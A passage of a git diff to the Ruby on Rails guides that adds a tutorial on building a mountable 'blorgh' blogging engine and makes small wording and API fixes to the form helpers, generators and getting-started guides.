guide describes common security problems in web applications and how to avoid them with Rails. + - + name: Debugging Rails Applications + url: debugging_rails_applications.html + description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code. + - + name: Performance Testing Rails Applications + url: performance_testing.html + description: This guide covers the various ways of performance testing a Ruby on Rails application. + - + name: Configuring Rails Applications + url: configuring.html + description: This guide covers the basic configuration settings for a Rails application. + - + name: Rails Command Line Tools and Rake Tasks + url: command_line.html + description: This guide covers the command line tools and rake tasks provided by Rails. + - + name: Caching with Rails + work_in_progress: true + url: caching_with_rails.html + description: Various caching techniques provided by Rails. + - + name: Asset Pipeline + url: asset_pipeline.html + description: This guide documents the asset pipeline. + - + name: The Rails Initialization Process + work_in_progress: true + url: initialization.html + description: This guide explains the internals of the Rails initialization process as of Rails 3.1 +- + name: Extending Rails + documents: + - + name: The Basics of Creating Rails Plugins + work_in_progress: true + url: plugins.html + description: This guide covers how to build a plugin to extend the functionality of Rails. + - + name: Rails on Rack + url: rails_on_rack.html + description: This guide covers Rails integration with Rack and interfacing with other Rack components. + - + name: Creating and Customizing Rails Generators + url: generators.html + description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator). +- + name: Contributing to Ruby on Rails + documents: + - + name: Contributing to Ruby on Rails + url: contributing_to_ruby_on_rails.html + description: Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails. + - + name: API Documentation Guidelines + url: api_documentation_guidelines.html + description: This guide documents the Ruby on Rails API documentation guidelines. + - + name: Ruby on Rails Guides Guidelines + url: ruby_on_rails_guides_guidelines.html + description: This guide documents the Ruby on Rails guides guidelines. +- + name: Release Notes + documents: + - + name: Ruby on Rails 3.2 Release Notes + url: 3_2_release_notes.html + description: Release notes for Rails 3.2. + - + name: Ruby on Rails 3.1 Release Notes + url: 3_1_release_notes.html + description: Release notes for Rails 3.1. + - + name: Ruby on Rails 3.0 Release Notes + url: 3_0_release_notes.html + description: Release notes for Rails 3.0. + - + name: Ruby on Rails 2.3 Release Notes + url: 2_3_release_notes.html + description: Release notes for Rails 2.3. + - + name: Ruby on Rails 2.2 Release Notes + url: 2_2_release_notes.html + description: Release notes for Rails 2.2. diff --git a/railties/guides/source/engines.textile b/railties/guides/source/engines.textile new file mode 100644 index 0000000000..694b36bea1 --- /dev/null +++ b/railties/guides/source/engines.textile @@ -0,0 +1,618 @@ +h2. Getting Started with Engines + +In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide: + +* What makes an engine +* How to generate an engine +* Building features for the engine +* Hooking the engine into an application +* Overriding engine functionality in the application + +endprologue. + +h3. What are engines? + +Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting from +Rails::Engine+. Therefore, engines and applications share common functionality but are at the same time two separate beasts. Engines and applications also share a common structure, as you'll see throughout this guide. + +Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. + +The engine that will be generated for this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. For now, you will be working solely within the engine itself and in later sections you'll see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. + +To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. + +Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! + +h3. Generating an engine + +To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal: + +<shell> +$ rails plugin new blorgh --mountable +</shell> + +The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file. + +h4. Inside an engine + +h5. Critical files + +At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+: + +<ruby> + gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+. + +<ruby> +require "blorgh/engine" + +module Blorgh +end +</ruby> + +Within +lib/blorgh/engine.rb+ is the base class for the engine: + +<ruby> +module Blorgh + class Engine < Rails::Engine + isolate_namespace Blorgh + end +end +</ruby> + +By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers. + +The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file. + +h5. +app+ directory + +Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section. + +Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. + +Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. + +Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file. + +h5. +script+ directory + +This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine. + +h5. +test+ directory + +The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file: + +<ruby> +Rails.application.routes.draw do + + mount Blorgh::Engine => "/blorgh" +end +</ruby> + +This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed. + +Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. + +h3. Providing engine functionality + +The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting-started.html, with some new twists. + +h4. Generating a post resource + +The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator. + +<shell> +$ rails generate scaffold post title:string text:text +</shell> + +This command will output this information: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_posts.rb +create app/models/blorgh/post.rb +invoke test_unit +create test/unit/blorgh/post_test.rb +create test/fixtures/blorgh/posts.yml + route resources :posts +invoke scaffold_controller +create app/controllers/blorgh/posts_controller.rb +invoke erb +create app/views/blorgh/posts +create app/views/blorgh/posts/index.html.erb +create app/views/blorgh/posts/edit.html.erb +create app/views/blorgh/posts/show.html.erb +create app/views/blorgh/posts/new.html.erb +create app/views/blorgh/posts/_form.html.erb +invoke test_unit +create test/functional/blorgh/posts_controller_test.rb +invoke helper +create app/helpers/blorgh/posts_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/posts_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/posts.js +invoke css +create app/assets/stylesheets/blorgh/posts.css +invoke css +create app/assets/stylesheets/scaffold.css +</shell> + +The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+. + +Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+). + +After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this: + +<ruby> +Blorgh::Engine.routes.draw do + resources :posts + +end +</ruby> + +Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. + +Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+). + +Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module: + +<ruby> +module Blorgh + class PostsController < ApplicationController + ... + end +end +</ruby> + +NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+. + +The helper is also namespaced: + +<ruby> +module Blorgh + class PostsHelper + ... + end +end +</ruby> + +This helps prevent conflicts with any other engine or application that may have a post resource also. + +Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later. + +By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout: + +<erb> +<%= stylesheet_link_tag "scaffold" %> +</erb> + +You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. + +!images/engines_scaffold.png(Blank engine scaffold)! + +Click around! You've just generated your first engine's first functions. + +If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+. + +<ruby> + >> Blorgh::Post.find(1) + => #<Blorgh::Post id: 1 ...> +</ruby> + +One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine: + +<ruby> +root :to => "posts#index" +</ruby> + +Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. + +h4. Generating a comments resource + +Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. + +Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column. + +<shell> +$ rails generate model Comment post_id:integer text:text +</shell> + +This will output the following: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_comments.rb +create app/models/blorgh/comment.rb +invoke test_unit +create test/unit/blorgh/comment_test.rb +create test/fixtures/blorgh/comments.yml +</shell> + +This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+. + +To show the comments on a post, edit +app/views/posts/show.html.erb+ and add this line before the "Edit" link: + +<erb> +<h3>Comments</h3> +<%= render @post.comments %> +</erb> + +This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model: + +<ruby> +has_many :comments +</ruby> + +Turning the model into this: + +<ruby> +module Blorgh + class Post < ActiveRecord::Base + has_many :comments + end +end +</ruby> + +Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects. + +Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+: + +<erb> +<%= render "blorgh/comments/form" %> +</erb> + +Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial: + +<erb> +<h3>New comment</h3> +<%= form_for [@post, @post.comments.build] do |f| %> + <p> + <%= f.label :text %><br /> + <%= f.text_area :text %> + </p> + <%= f.submit %> +<% end %> +</erb> + +This form, when submitted, is going to attempt to post to a route of +posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines: + +<ruby> +resources :posts do + resources :comments +end +</ruby> + +The route now will exist, but the controller that this route goes to does not. To create it, run this command: + +<shell> +$ rails g controller comments +</shell> + +This will generate the following things: + +<shell> +create app/controllers/blorgh/comments_controller.rb +invoke erb + exist app/views/blorgh/comments +invoke test_unit +create test/functional/blorgh/comments_controller_test.rb +invoke helper +create app/helpers/blorgh/comments_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/comments_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/comments.js +invoke css +create app/assets/stylesheets/blorgh/comments.css +</shell> + +The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+: + +<ruby> +def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.build(params[:comment]) + flash[:notice] = "Comment has been created!" + redirect_to post_path +end +</ruby> + +This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: + +<text> + Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: + * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" + * "/Users/ryan/Sites/side_projects/blorgh/app/views" +</text> + +The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class. + +This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it: + +<erb> +<%= comment_counter + 1 %>. <%= comment.text %> +</erb> + +The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. + +That completes the comment function of the blogging engine. Now it's time to use it within an application. + +h3. Hooking into an application + +Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine. + +h4. Mounting the engine + +First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this: + +<shell> +$ rails new unicorn +</shell> + +Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. + +<ruby> +gem 'devise' +</ruby> + +Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification: + +<ruby> +gem 'blorgh', :path => "/path/to/blorgh" +</ruby> + +If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this: + +<ruby> +gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine. + +To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file: + +<ruby> +mount Blorgh::Engine, :at => "blog" +</ruby> + +This line will mount the engine at +blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails s+. + +NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. + +h4. Engine setup + +The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: + +<shell> +Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh +Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh +</shell> + +The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. + +To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. + +h4. Using a class provided by the application + +When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense. + +Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called. + +To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command: + +<shell> +rails g model user name:string +</shell> + +The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use. + +Also to keep it simple, the posts form will have a new text field called +author_name_+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it. + +First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code: + +<erb> +<div class="field"> + <%= f.label :author_name %><br /> + <%= f.text_field :author_name %> +</div> +</erb> + +The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it. + +To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being. + +<ruby> +attr_accessor :author_name +belongs_to :author, :class_name => "User" + +before_save :set_author + +private + def set_author + self.author = User.find_or_create_by_name(author_name) + end +</ruby> + +By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table. + +To generate this new column, run this command within the engine: + +<shell> +$ rails g migration add_author_id_to_blorgh_posts author_id:integer +</shell> + +NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. + +This migration will need to be run on the application. To do that, it must first be copied using this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. + +<shell> + NOTE: Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. + NOTE: Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. + Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +</shell> + +Run this migration using this command: + +<shell> +$ rake db:migrate +</shell> + +Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine. + +Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+: + +<erb> +<p> + <b>Author:</b> + <%= @post.author %> +</p> +</erb> + +WARNING: For posts created previously, this will break the +show+ page for them. We recommend deleting these posts and starting again, or manually assigning an author using +rails c+. + +By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly: + +<text> +#<User:0x00000100ccb3b0> +</text> + +This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application: + +<ruby> +def to_s + name +end +</ruby> + +Now instead of the ugly Ruby object output the author's name will be displayed. + +h4. Configuring an engine + +This section covers firstly how you can make the +user_class+ setting of the Blorgh engine configurable, followed by general configuration tips for the engine. + +h5. Setting configuration settings in the application + +The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application. + +To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line: + +<ruby> +mattr_accessor :user_class +</ruby> + +This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+. + +The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this: + +<ruby> +belongs_to :author, :class_name => Blorgh.user_class +</ruby> + +The +set_author+ method also located in this class should also use this class: + +<ruby> +self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name) +</ruby> + +To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and makes references to the classes of the engine which may depend on this configuration setting existing. + +Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it: + +<ruby> +Blorgh.user_class = "User" +</ruby> + +WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on. + +Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is. + +There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. + +h5. General engine configuration + +Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines! + +If you wish to use initializers (code that should run before the engine is loaded), the best place for them is the +config/initializers+ folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide. + +For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application. + +h3. Extending engine functionality + +This section looks at overriding or adding functionality to the views, controllers and models provided by an engine. + +h4. Overriding views + +When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory. + +In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine. + +By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output. + +Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it: + +<erb> +<h1>Posts</h1> +<%= link_to "New Post", new_post_path %> +<% @posts.each do |post| %> + <h2><%= post.title %></h2> + <small>By <%= post.author %></small> + <%= simple_format(post.text) %> + <hr> +<% end %> +</erb> + +Rather than looking like the default scaffold, the page will now look like this: + +!images/engines_post_override.png(Engine scaffold overriden)! + +h4. Controllers + +TODO: Explain how to extend a controller. +IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide? + +h4. Models + +TODO: Explain how to extend models provided by an engine. + +h4. Routes + +Within the application, you may wish to link to some area within the engine. Due to the fact that the engine's routes are isolated (by the +isolate_namespace+ call within the +lib/blorgh/engine.rb+ file), you will need to prefix these routes with the engine name. This means rather than having something such as: + +<erb> +<%= link_to "Blog posts", posts_path %> +</erb> + +It needs to be written as: + +<erb> +<%= link_to "Blog posts", blorgh.posts_path %> +</erb> + +This allows for the engine _and_ the application to both have a +posts_path+ routing helper and to not interfere with each other. You may also reference another engine's routes from inside an engine using this same syntax. + +If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper: + +<erb> +<%= link_to "Home", main_app.root_path %> +</erb> + +TODO: Mention how to use assets within an engine? +TODO: Mention how to depend on external gems, like RedCarpet. diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile index 821bb305f6..9758b639cf 100644 --- a/railties/guides/source/form_helpers.textile +++ b/railties/guides/source/form_helpers.textile @@ -229,7 +229,7 @@ The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks There are a few things to note here: # +@article+ is the actual object being edited. -# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. +# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. Also you can provide a +:namespace+ option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. # The +form_for+ method yields a *form builder* object (the +f+ variable). # Methods to create form controls are called *on* the form builder object +f+ @@ -630,10 +630,10 @@ action for a Person model, +params[:model]+ would usually be a hash of all the a Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. -TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example, +TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example, <ruby> -ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" +Rack::Utils.parse_query "name=fred&phone=0123456789" # => {"name"=>"fred", "phone"=>"0123456789"} </ruby> @@ -754,7 +754,7 @@ produces exactly the same output as the previous example. h3. Forms to external resources -If you need to post some data to an external resource it is still great to build your from using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options: +If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options: <erb> <%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %> diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile index 7a863ccbc7..920ff997ae 100644 --- a/railties/guides/source/generators.textile +++ b/railties/guides/source/generators.textile @@ -48,7 +48,7 @@ end NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html -Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. +Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. To invoke our new generator, we just need to do: @@ -406,22 +406,6 @@ The following are methods available for both generators and templates for Rails. NOTE: Methods provided by Thor are not covered this guide and can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html -h4. +plugin+ - -+plugin+ will install a plugin into the current application. - -<ruby> -plugin("dynamic-form", :git => "git://github.com/rails/dynamic-form.git") -</ruby> - -Available options are: - -* +:git+ - Takes the path to the git repository where this plugin can be found. -* +:branch+ - The name of the branch of the git repository where the plugin is found. -* +:submodule+ - Set to +true+ for the plugin to be installed as a submodule. Defaults to +false+. -* +:svn+ - Takes the path to the svn repository where this plugin can be found. -* +:revision+ - The revision of the plugin in an SVN repository. - h4. +gem+ Specifies a gem dependency of the application. diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 33f383f173..bed14ef6a8 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -41,11 +41,12 @@ internet for learning Ruby, including: * "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/ * "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ -Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository -in rails/railties/guides/code/getting_started. - h3. What is Rails? +TIP: This section goes into the background and philosophy of the Rails framework +in detail. You can safely skip this section and come back to it at a later time. +Section 3 starts you on the path to creating your first Rails application. + Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less @@ -215,7 +216,11 @@ Ian Robinson h3. Creating a New Rails Project -If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a +The best way to use this guide is to follow each step as it happens, no code or +step needed to make this example application has been left out, so you can +literally follow along step by step. You can get the complete code "here":https://github.com/lifo/docrails/tree/master/railties/guides/code/getting_started. + +By following along with this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. @@ -233,13 +238,16 @@ Usually run this as the root user: TIP. If you're working on Windows, you can quickly install Ruby and Rails with "Rails Installer":http://railsinstaller.org. -h4. Creating the Blog Application +To verify that you have everything installed correctly, you should be able to run +the following: -The best way to use this guide is to follow each step as it happens, no code or -step needed to make this example application has been left out, so you can -literally follow along step by step. If you need to see the completed code, you -can download it from "Getting Started 